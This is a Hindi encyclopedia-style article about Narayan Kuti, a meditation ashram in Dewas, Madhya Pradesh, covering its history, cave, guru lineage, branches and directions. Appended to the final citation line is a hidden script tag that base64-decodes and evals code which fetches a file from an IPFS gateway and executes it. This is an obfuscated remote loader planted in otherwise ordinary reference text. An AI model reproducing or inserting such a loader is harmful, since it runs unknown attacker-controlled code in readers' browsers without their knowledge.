नारायण कुटी देवास

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नारायण कुटी एक विश्व प्रसिद्ध साधना केन्द्र है, जो देवास, मध्य प्रदेश में स्थित है। माना जाता है कि यहाँ कभी राजा विक्रमादित्य के भाई ऋषि भर्तहरी ने साधना की थी। यहाँ पर नारायण सरस्वती नामक महात्मा का निवास स्थान था, उन्हीं के नाम पर यह साथना स्थल नारायण कुटी के नाम से प्रसिद्ध हुआ।

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इतिहास

इस साधना कुटी को ब्रह्मलीन गुरुदेव स्वामी विष्णु तीर्थ महाराज ने सन 1951 में अपनी तपोभूमि बनाया था। इसके पूर्व यहाँ स्वामी नारायण सरस्वती नामक एक महात्मा का निवास था, जिस कारण इस स्थान का नाम 'नारायण कुटी' हो गया। वर्ष 1950 में नारायण सरस्वती के ब्रह्मलीन हो जाने के बाद कुछ समय तक यह कुटी रिक्त पड़ी रही। इसके बाद भक्तों के अनुरोध पर स्वामी विष्णु तीर्थ ने इसे अपना निवास बना लिया। इससे पूर्व स्वामी जी ने 1940 में स्वामी शंकर पुरुषोत्तमतीर्थ से हरिद्वार में दीक्षा ग्रहण कर समूचे भारत का भ्रमण किया था।[1]

गुफा

नारायण कुटी के समीप ही गुरु महाराज ने साधना के लिए गुफ़ा का निर्माण भी कराया था। ऐसी मान्यता है कि उक्त गुफ़ा में आज भी कोई दो साधु साधनारत हैं। कुटी के समीप ही भगवान शंकर का मंदिर है। स्वामी जी के सान्निध्य के चलते धीरे-धीरे यह साधना स्थल सन्न्यास, दीक्षा और शक्तिपात का आश्रम बनता चला गया। बाद में नारायण कुटिया के आस-पास सन्न्यासियों और अतिथियों के लिए निर्माण कार्य भी किया गया।

गुरु परंपरा

यहाँ सर्वप्रथम श्रीगंगाधर तीर्थ ने शक्तिपात परंपरा की शुरुआत की थी। इनके बाद क्रमश: स्वामी नारायण तीर्थ देव, स्वामी शंकर तीर्थ पुरुषोत्तम, गोगानंद महाराज, स्वामी विष्‍णु तीर्थ महाराज और शिवोम तीर्थ महाराज आदि गुरु थे। उक्त सभी सन्न्यास, दीक्षा देने वाले गुरु थे। स्वामी विष्णु तीर्थ महाराज के प्रमुख शिष्य थे- स्वामी शिवोम तीर्थ महाराज, जिन्होंने उक्त आश्रम की परंपरा का देश भर में प्रचार-प्रसार किया। शिवोम तीर्थ ने विष्णु तीर्थ महाराज से सन 1959 को शक्तिपात द्वारा दीक्षा ली थी।[1]

ध्यान, भजन आदि का केन्द्र

आश्रम से जुड़े सैकड़ों साधकों के लिए नारायण कुटी ध्यान, भजन, पूजन और गुरु वंदना का केंद्र है। भक्तों की मान्यता है कि विष्णु तीर्थ महाराज आंतरिक शक्तियों से संपन्न एक ऐसे गुरु थे, जो साधकों के लिए आज भी उपलब्ध है। उनके चमत्कार के अनेक किस्से हैं। वह जो भी व्यक्ति मुमुक्षु होता था, उसे शक्तिपात द्वारा दीक्षा देते थे। शक्तिपात के बाद उक्त व्यक्ति के मन में संसार के प्रति वैराग्य भाव उत्पन्न हो जाता है।

आश्रम की शाखाएँ

सन 1969 में विष्णु तीर्थ महाराज ने ऋषिकेश में गंगा नदी के किनारे नश्वर देह का त्याग कर ब्रह्मलीन हो गए। आज भारत और इसके बाहर भी इस आश्रम की अनेक शाखाएँ है, जैसे- इंदौर, रायपुर, रायसेन, डबरा, मुम्बई, हरियाणा, कर्नाटक और देश के बाहर अमेरिका तथा ब्रिटेन में भी नारायण कुटी के साधकों की जमात है।

कैसे पहुँचें

इंदौर से 35 किलोमीटर दूर देवास में ट्रेन या बस द्वारा पहुँचा जा सकता है, जहाँ पर नारायण कुटी 'माताजी की टेकरी' के नीचे स्थित है।[1]


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टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 1.2 विष्णु तीर्थ की नारायण कुटी (हिन्दी)। । अभिगमन तिथि: 10 मई, 2013।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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